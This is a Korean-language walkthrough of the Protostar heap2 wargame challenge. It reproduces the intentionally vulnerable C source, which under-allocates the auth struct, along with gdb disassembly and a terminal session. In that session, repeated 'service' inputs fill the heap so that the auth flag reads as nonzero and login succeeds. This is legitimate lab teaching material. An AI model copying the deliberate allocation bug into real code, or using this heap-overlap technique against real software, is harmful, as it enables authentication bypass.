protostar heap2 문제

<소스코드>

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}
```

봐야할 것
: auth->auth 가 참일 경우 문제 해결 (노란 상자에 들어갈 수 있어야 함.)
앞 auth는 포인터 변수, 뒤 auth는 구조체의 필드
즉, 0만 안 들어가 있으면 문제를 해결할 수 있음

<실행>

```
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 123
[ auth = 0x804c008, service = 0x804c018 ]
```

auth에 아무 값, service에 아무 값을 넣어보았다.
0x10 차이가 남을 알 수 있었다.
(service도 malloc을 사용하는 함수를 이용했기 때문에 chunk 있음)
0x10이 차이가 난 이유 : 할당하고자한 크기 4 + header 8 = 12 (8의 배수를 맞춰야하기 때문에 16일 듯 - 추측)

```
0x08048a8b <main+343>:  mov    eax,DWORD PTR [eax+0x20]
0x08048a8e <main+346>:  test   eax,eax
0x08048a90 <main+348>:  je     0x8048aa3 <main+367>
0x08048a92 <main+350>:  mov    DWORD PTR [esp],0x804ada7
```

gdb를 이용하여 찾아보니 eax+0x20은 auth->auth가 들어가는 부분이었음.

```
0x080489b3 <main+127>:  mov    ds:0x804b5f4,eax
0x080489b8 <main+132>:  mov    eax,ds:0x804b5f4
0x080489bd <main+137>:  mov    DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>:  mov    DWORD PTR [esp+0x4],0x0
0x080489cd <main+153>:  mov    DWORD PTR [esp],eax
0x080489d0 <main+156>:  call   0x80487bc <memset@plt>
```

eax는 auth가 들어가는 부분임.
따라서 0x20만큼을 채우면 될 것 같은데, 위에서 확인했다시피 'service ~'를 한 번 쓰면 0x10이 채워짐.

```
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 123
[ auth = 0x804c008, service = 0x804c018 ]
service 123
[ auth = 0x804c008, service = 0x804c028 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c028 ]
```

따라서 'service ~'를 한 번 더 쓰고, login을 하게 되면
"you have logged in already!" 라는 문자열을 볼 수 있게 됨.